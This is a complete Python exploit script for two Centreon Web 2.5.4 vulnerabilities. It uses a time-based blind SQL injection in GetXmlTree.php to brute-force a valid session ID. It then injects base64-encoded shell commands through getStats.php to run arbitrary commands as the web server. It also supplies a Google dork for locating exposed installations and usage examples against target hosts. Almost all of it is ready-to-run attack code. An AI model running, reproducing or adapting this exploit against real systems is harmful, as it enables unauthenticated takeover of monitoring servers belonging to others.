#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Date:
  August 22th, 2017

Update:
  November 30th, 2019

Name:
  CVE-2015-1560, CVE-2015-1561 | Centreon Web Time-Based Blind SQLi to RCE

Version:
  1.2

Description:
  Centreon Web 2.5.4 and earlier is prone to multiple vulnerabilities, including unauthenticated
  time-based blind SQL injection and authenticated remote system command execution. Combining
  these 2 vulnerabilities, an unauthenticated attacker can take control of the web server.

Limitation:
  This exploit works as long as there is a valid 'session_id' registered in the 'centreon.session' table.

Author:
  iojymbo (@iojymbo)

Credit:
  Huy-Ngoc DAU (@ngocdh)

Affected Products:
  Centreon Web 2.5.4 and earlier

Advisories:
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1560
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1561

Reference:
  https://packetstormsecurity.com/files/132607/Merethis-Centreon-2.5.4-SQL-Injection-Remote-Command-Execution.html

Date of public disclosure:
  July 8th, 2015

Google Dork:
  intitle:"Centreon - IT & Network Monitoring" intext:"2004|2005-2008|2009|2010|2011|2012|2013|2014"

Usage:
  Without 'session_id':
    $ python CVE-2015-1560-1561.py -r <RHOST> -p <RPORT> -u <URI> -c <CMD> [-s / -ssl]
    $ python CVE-2015-1560-1561.py -r 192.168.0.3 -p 80 -u /centreon/ -c id
  With 'session_id':
    $ python CVE-2015-1560-1561.py -r <RHOST> -p <RPORT> -u <URI> -c <CMD> -i <SESSION_ID> [-s / -ssl]
    $ python CVE-2015-1560-1561.py -r 192.168.0.3 -p 80 -u /centreon/ -c id -i a2hlspgh62nd5cuvvpdhmm9r60

Tested against:
  Centreon Web 2.5.4
  Centreon Web 2.5.3

Solution:
  Upgrade Centreon Web.

License:
  Usage is provided under the WTFPL license.

'''

# Import modules
import argparse
import base64
import requests
import string
import time

# Disable all SSL warnings
try:
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
  pass

# Colors handling
is_colorama_loaded = False
try:
  import colorama
  colorama.init(autoreset=True)
  is_colorama_loaded = True
except:
  pass



class Symbols:
  '''
  Require module(s): colorama.
  '''
  if is_colorama_loaded:
    done  = colorama.Fore.GREEN   + "[+] " + colorama.Fore.RESET
    error = colorama.Fore.RED     + "[-] " + colorama.Fore.RESET
    info  = colorama.Fore.YELLOW  + "[!] " + colorama.Fore.RESET
    run   = colorama.Fore.BLUE    + "[*] " + colorama.Fore.RESET
  else:
    done  = "[+] "
    error = "[-] "
    info  = "[!] "
    run   = "[*] "



class Toolbox:
  '''
  Require module(s): request, time.
  '''

  def http_get_request(self, string_host, string_port, string_full_uri, bool_ssl):
    '''
    Return response text and request elapsed time.
    '''
    target_url   = ('https://' + string_host + ':' + string_port + string_full_uri) if bool_ssl else ('http://' + string_host + ':' + string_port + string_full_uri)
    http_headers = {
      'Accept'          : '*/*',
      'Cache-Control'   : 'max-age=0',
      'Host'            : string_host,
      'User-Agent'      : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36'
    }
    try:
      init_time = time.time()
      response  = requests.request(method='GET', url=target_url, headers=http_headers, verify=False)
      return(response.text.encode('utf-8'), time.time() - init_time)
    except requests.exceptions.ConnectionError:
      return(None, 0.0)

  def is_host_alive(self, string_host, string_port, string_centreon_uri, bool_ssl):
    '''
    Return 'True' and request elapsed time if remote host is alive.
    '''
    string_full_uri = string_centreon_uri + '/index.php'
    response        = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
    return(True, response[1]) if (response[0] is not None) else (False, 0.0)

  def normalize_uri(self, string_uri):
    '''
    Return an URI without last '/'.
    '''
    return(string_uri[:-1]) if (string_uri[len(string_uri)-1]) == '/' else (string_uri)

  def url_encode(self, plain_string):
    '''
    Return an URL encoded string.
    '''
    return(''.join(hex(ord(char)).replace('0x','%') for char in plain_string))



class CVE_2015_1560:
  '''
  Require module(s): string.
  '''

  def __init__(self):
    self.session_id_chars  = string.digits + string.ascii_lowercase
    self.session_id_lenght = 26

  def create_encoded_payload(self, string_mysql_cmd, float_mysql_sleep):
    '''
    Return an URL encoded payload based on CVE-2015-1560 time-based blind SQLi vulnerability.
    '''
    plaintext_payload  = '\'+IF(0<('
    plaintext_payload += string_mysql_cmd
    plaintext_payload += '),sleep('
    plaintext_payload += str(float_mysql_sleep)
    plaintext_payload += '),\'\')+\''
    return(Toolbox().url_encode(plaintext_payload))

  def is_vulnerable(self, string_host, string_port, string_centreon_uri, float_mysql_sleep, bool_ssl):
    '''
    Test if a valid 'session_id' is registered in the 'centreon.session' table.
    '''
    string_mysql_cmd = 'SELECT COUNT(session_id) FROM centreon.session'
    string_payload   = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_mysql_sleep)
    string_full_uri  = string_centreon_uri + '/include/common/XmlTree/GetXmlTree.php?sid=' + string_payload
    response         = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
    return(response)

  def exploit_blind_sqli(self, string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl):
    '''
    Exploit vulnerable URI '<VHOST>/include/common/XmlTree/GetXmlTree.php?sid='.
    '''
    string_full_uri = string_centreon_uri + '/include/common/XmlTree/GetXmlTree.php?sid=' + string_payload
    response        = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
    return(True) if (response[1] > float_sqli_timeout) else (False)

  def guess_session_id_chars(self, string_host, string_port, string_centreon_uri, float_sqli_timeout, bool_ssl):
    '''
    Guess potential characters on first 'session_id' available in the 'centreon.session' table.
    '''
    session_id_chars = ''
    for char in self.session_id_chars:
      string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id LIKE BINARY "%' + char + '%"'
      string_payload   = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
      if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
        session_id_chars += char
    return(session_id_chars)

  def brute_session_id(self, string_host, string_port, string_centreon_uri, string_session_id_chars, float_sqli_timeout, bool_ssl):
    '''
    Bruteforce first 'session_id' available in the 'centreon.session' table.
    '''
    session_id  = ''
    chars_step  = 5
    chars_parts = [string_session_id_chars[i:i + chars_step] for i in range(0, len(string_session_id_chars), chars_step)]
    while len(session_id) < self.session_id_lenght:
      for chars_part in chars_parts:
        string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id  REGEXP "' + session_id + '[' + chars_part + ']"'
        string_payload   = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
        if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
          for char in chars_part:
            string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id LIKE BINARY "' + session_id + char + '%"'
            string_payload   = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
            if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
              session_id += char
    return(session_id)



class CVE_2015_1561:
  '''
  Require module(s): base64.
  '''

  def create_rce_payload(self, string_rce_cmd, string_session_id):
    '''
    Return an URL encoded payload based on CVE-2015-1561 command injection vulnerability.
    '''
    plaintext_payload = '|echo ' + base64.b64encode(string_rce_cmd) + '|base64 -d|/bin/sh #'
    encoded_payload   = Toolbox().url_encode(plaintext_payload)
    return(encoded_payload + '&key=active_service_check&start=today&session_id=' + string_session_id)

  def exploit_rce_cmd(self, string_host, string_port, string_centreon_uri, string_rce_cmd, string_session_id, bool_ssl):
    '''
    Exploit vulnerable URI '<VHOST>/include/Administration/corePerformance/getStats.php?ns_id='.
    '''
    string_payload  = CVE_2015_1561().create_rce_payload(string_rce_cmd, string_session_id)
    string_full_uri = string_centreon_uri + '/include/Administration/corePerformance/getStats.php?ns_id=' + string_payload
    response        = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
    return(response[0])



# Main
def main():
  '''
  Require module(s): argparse.
  '''

  # Banner.
  print("\n" + "[ CVE-2015-1560, CVE-2015-1561 | Centreon Web Time-Based Blind SQLi to RCE | @iojymbo ]".center(100, '-') + "\n")

  # Declare arguments.
  parser = argparse.ArgumentParser()
  parser.add_argument("-r","--remote-host", action='store'     , dest='rhost', required=True)
  parser.add_argument("-p","--port"       , action='store'     , dest='rport', required=True)
  parser.add_argument("-u","--uri"        , action='store'     , dest='uri'  , required=True)
  parser.add_argument("-c","--cmd"        , action='store'     , dest='cmd'  , required=True)
  parser.add_argument("-i","--id"         , action='store'     , dest='id'   , required=False)
  parser.add_argument("-s","--ssl"        , action='store_true', dest='ssl'  , required=False)
  args = parser.parse_args()

  # Start attack.
  if (args.ssl):
    print(Symbols.info + "Targeting %s on port %s through '%s' uri (SSL mode is enable)"  % (args.rhost, args.rport, args.uri))
  else:
    print(Symbols.info + "Targeting %s on port %s through '%s' uri (SSL mode is disable)" % (args.rhost, args.rport, args.uri))

  # Normalize URI.
  args.uri = Toolbox().normalize_uri(args.uri)

  # Is host reachable ?
  print(Symbols.run  + "Testing if remote host is reachable...")
  is_host_alive = Toolbox().is_host_alive(args.rhost, args.rport, args.uri, args.ssl)
  if not (is_host_alive[0]):
    print(Symbols.error + "Remote host is not reachable!")
    quit()

  # No session id ?
  if not (args.id):
    print(Symbols.run  + "Testing if remote host is vulnerable to CVE-2015-1560...")

    # Adjusting the MySQL 'sleep' timeout by multiplying by 4 the elapsed time of the previous request.
    sqli_timeout  = round(is_host_alive[1] * 4, 1)
    is_vulnerable = CVE_2015_1560().is_vulnerable(args.rhost, args.rport, args.uri, sqli_timeout, args.ssl)
    
    # Is vulnerable ?
    if (is_vulnerable[1] > sqli_timeout):
      print(Symbols.done + "Remote host is vulnerable, time-based SQLi payload adjusted to %s seconds" % (sqli_timeout))
      
      # Guess potential characters and bruteforce with them.
      print(Symbols.run  + "Guessing first 'session_id' characters available in the 'centreon.session' table...")
      guess_id_chars = CVE_2015_1560().guess_session_id_chars(args.rhost, args.rport, args.uri, sqli_timeout, args.ssl)
      print(Symbols.info + "Found valid characters string: %s" % (guess_id_chars))
      print(Symbols.run  + "Bruteforcing first 'session_id' string available in the 'centreon.session' table...")
      brute_id_chars = CVE_2015_1560().brute_session_id(args.rhost, args.rport, args.uri, guess_id_chars, sqli_timeout, args.ssl)
      print(Symbols.done + "Found valid 'session_id' string: %s" % (brute_id_chars))

      # Set bruteforced 'session_id' string.
      args.id = brute_id_chars
    else:
      print(Symbols.error + "Remote host is not vulnerable or no valid session registered in the 'centreon.session' table!")

  # Launch remote command(s) injection.
  print(Symbols.run + "Injecting command(s) on remote host through CVE-2015-1561...")
  rce_cmd = CVE_2015_1561().exploit_rce_cmd(args.rhost, args.rport, args.uri, 'echo CVE-2015-1561;' + args.cmd, args.id, args.ssl)
  if ('CVE-2015-1561' in rce_cmd):
    print("-" * 100 + "\n"+ (rce_cmd.split('\n',1)[1]) + "-" * 100)
    print(Symbols.done + "Command(s) executed on remote host")
  else:
    print(Symbols.error + "Remote host is not vulnerable or current 'session_id' unregistered in the 'centreon.session' table!")

# Run main()
if (__name__ == '__main__'):
  main()
  quit()
